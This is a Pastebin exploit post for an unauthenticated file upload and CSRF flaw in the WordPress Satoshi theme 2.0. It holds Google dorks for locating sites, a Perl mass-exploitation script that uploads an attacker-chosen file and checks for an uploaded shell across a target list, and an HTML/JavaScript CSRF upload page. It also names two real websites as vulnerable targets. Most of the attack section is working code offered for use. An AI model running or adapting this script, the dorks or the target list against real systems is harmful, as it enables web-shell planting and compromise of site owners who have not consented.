Advertisement
KingSkrupellos

WordPress 4.7.13 Satoshi Themes 2.0 CSRF Insert File

Jun 4th, 2019
508
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.47 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : WordPress 4.7.13 Satoshi Themes 2.0 CSRF Unauthorized Insert File
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 05/06/2019
  7. # Vendor Homepage : vooshthemes.com - tecnoge.com - netsons.com
  8. # WordPress Affected Versions : 4.7.13 - 3.4.2
  9. # Theme Affected Version : 2.0
  10. # Information Link : themesinfo.com/satoshi-theme-wordpress-portfolio-jpx
  11. themesinfo.com/?search_type=folder&search=satoshi
  12. # Theme used on : 106 websites
  13. # Tested On : Windows and Linux
  14. # Category : WebApps
  15. # Exploit Risk : Medium
  16. # Google Dorks : intext:Design By Voosh Themes
  17. inurl:/wp-content/themes/satoshi/ - intext:Design By TecnoGe Informatica -
  18. # Vulnerability Type :
  19. CWE-352 [ Cross-Site Request Forgery (CSRF) ]
  20. CWE-264 [ Permissions, Privileges, and Access Controls ]
  21. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  22. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  23. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  24.  
  25. ####################################################################
  26.  
  27. # Description About Software :
  28. *****************************
  29. Satoshi v2.0 theme WordPress portfolio. A Free Portfolio Theme Developed By Voosh Themes.
  30.  
  31. ####################################################################
  32.  
  33. # Impact :
  34. ***********
  35. WordPress 3.4.2/4.7.13 Satoshi Themes 2.0 is prone to a vulnerability that lets attackers
  36. upload arbitrary files because it fails to adequately sanitize user-supplied input.
  37. An attacker can exploit this vulnerability to upload arbitrary code and execute
  38. it in the context of the webserver process. This may facilitate unauthorized access
  39. or privilege escalation; other attacks are also possible. This WordPress Theme is
  40. vulnerable to CSRF file upload via ajaxupload.3.5.js. CSRF occurs when the web application
  41. does not, or can not, sufficiently verify whether a well-formed, valid, consistent request
  42. was intentionally provided by the user who submitted the request.
  43.  
  44. ####################################################################
  45.  
  46. # Vulnerability :
  47. ***************
  48. /wp-content/themes/satoshi/upload-file.php
  49.  
  50. Vulnerability Message :
  51. *********************
  52. error
  53.  
  54. Directory File Path :
  55. ******************
  56. /wp-content/themes/satoshi/images/[YOURFILENAME].html
  57.  
  58. # Arbitrary File Upload / Unauthorized File Insert Perl Exploiter :
  59. ********************************************************
  60. #!/usr/bin/perl
  61. use LWP::UserAgent;
  62. # Coded By KingSkrupellos
  63. # Cyberizm Digital Security Army
  64. # Perl Exploiter By CyBeRiZM :)
  65. my $qqvul ="/upload-file.php";#theme path vul
  66. my $datestring = localtime();
  67. ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();
  68.  
  69. sub randomagent {
  70. my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  71. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  72. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  73. 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  74. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  75. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
  76. );
  77. my $random = $array[rand @array];
  78. return($random);
  79. }
  80. flag();
  81. print "[+] Enter List Of Target : ";
  82. chomp (my $list=<>);
  83. print "[+] Enter Evil File : ";
  84. chomp (my $file=<>);
  85. print "[+] Started : $datestring\n";
  86. open(my $arq,'<'.$list) || die($!);
  87. my @site = <$arq>;
  88. @site = grep { !/^$/ } @site;
  89. close($arq);
  90. print "[".($#site+1)."] URL to test upload\n\n";
  91. my $i;
  92. foreach my $web(@site){$i++;
  93. chomp($web);
  94. if($web !~ /^(http|https):\/\//){
  95. $web = 'http://'.$web;
  96. }
  97. print "[$i] $web \n";
  98. expqq($web);#exploiting website :)
  99. }
  100. sub expqq{
  101. my $useragent = randomagent();#Get a Random User Agent
  102. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });#Https websites accept
  103. $ua->timeout(10);
  104. $ua->agent($useragent);
  105. print "[Testing] Exploit Existence \n";
  106. my $url = $_[0]."/wp-content/themes/satoshi/".$qqvul;
  107. my $ss = $_[0]."/wp-content/themes/satoshi/images/".$file;
  108. my $response = $ua->get($url);
  109. if ($response->is_success || $response->content=~/error/){
  110. print "[OK] Exploit Exists\n";
  111. print "[*] Sent payload\n";
  112. my $regex = 'success';
  113. my $body = $ua->post( $url,
  114. Content_Type => 'form-data',
  115. Content => [ 'uploadfile' => ["$file"] ]
  116. );
  117. if ($body->is_success ||$body->content=~ /$regex/){
  118. print "[+] Payload successfully executed\n";
  119. print "[*] Checking if shell was uploaded\n\n";
  120. my $res = $ua->get($ss);
  121. if ($res->is_success){
  122. print "[Upload] $_[0]/wp-content/satoshi/images/$file\n";
  123. }
  124. else {
  125. print "[Faild] check file\n";
  126. }
  127. }
  128. else {print "[-] Payload failed : Not vulnerable\n";
  129. }
  130. }
  131. else {
  132. print "[No] Exploit Not Found\n";
  133. }
  134. }
  135. sub flag {print "\n[+] WP Satoshi Theme File Upload Exploiter By Cyberizm Digital Security Team \n[*] Coder => Cyberizm \n\n";
  136. }
  137.  
  138. ####################################################################
  139.  
  140. Cross Site Request Forgery CSRF Exploiter :
  141. *****************************************
  142. <!DOCTYPE html>
  143. <html>
  144. <head>
  145. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  146. <title></title>
  147. <script type='text/javascript' src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
  148. <script type='text/javascript' src="http://localhost/wp-content/themes/satoshi/js/ajaxupload.3.5.js"></script>
  149.  
  150. <script type='text/javascript'>//<![CDATA[
  151. window.onload=function(){
  152.  
  153. $(function(){
  154. var btnUpload=$('#upload');
  155. var status=$('#logo-upload-status');
  156. new AjaxUpload(btnUpload, {
  157. action: 'http://localhost/wp-content/themes/satoshi/upload-file.php',
  158. name: 'uploadfile',
  159. onSubmit: function(file, ext){
  160. /*
  161. if (! (ext && /^(jpg|png|jpeg|gif|html|txt)$/.test(ext))){
  162. // extension is not allowed
  163. status.text('Only HTML,TXT, JPG, PNG or GIF files are allowed');
  164. return false;
  165. }*/
  166. status.text('Uploading...');
  167. },
  168. onComplete: function(file, response){
  169. //On completion clear the status
  170. status.text('');
  171. //Add uploaded file to list
  172. if(response==="success"){
  173. $('<li></li>').appendTo('#files').html('<img src="http://localhost/wp-content/themes/satoshi/images/'+file+'" alt="" /><br />'+file).addClass('success');
  174. $('#satoshi_logo_image').val(file);
  175. } else{
  176. $('<li></li>').appendTo('#files').text(file).addClass('error');
  177. }
  178. }
  179. });
  180.  
  181. });
  182. }//]]>
  183. </script>
  184.  
  185. </head>
  186. <body>
  187.  
  188. <span id="logo-upload-status"></span>
  189. <input class="logo-name" id="satoshi_logo_image" type="text" name="satoshi_logo_image" value="">
  190. <input type="button" class="background_pattern_button" id="upload" value="Choose Logo">
  191.  
  192. </body>
  193. </html>
  194.  
  195. ####################################################################
  196.  
  197. # Example Vulnerable Sites :
  198. ************************
  199. [+] wordsmyth.se/wp-content/themes/satoshi/upload-file.php
  200.  
  201. [+] fondaliscenografici.com/wp-content/themes/satoshi/upload-file.php
  202.  
  203. ####################################################################
  204.  
  205. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  206.  
  207. ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement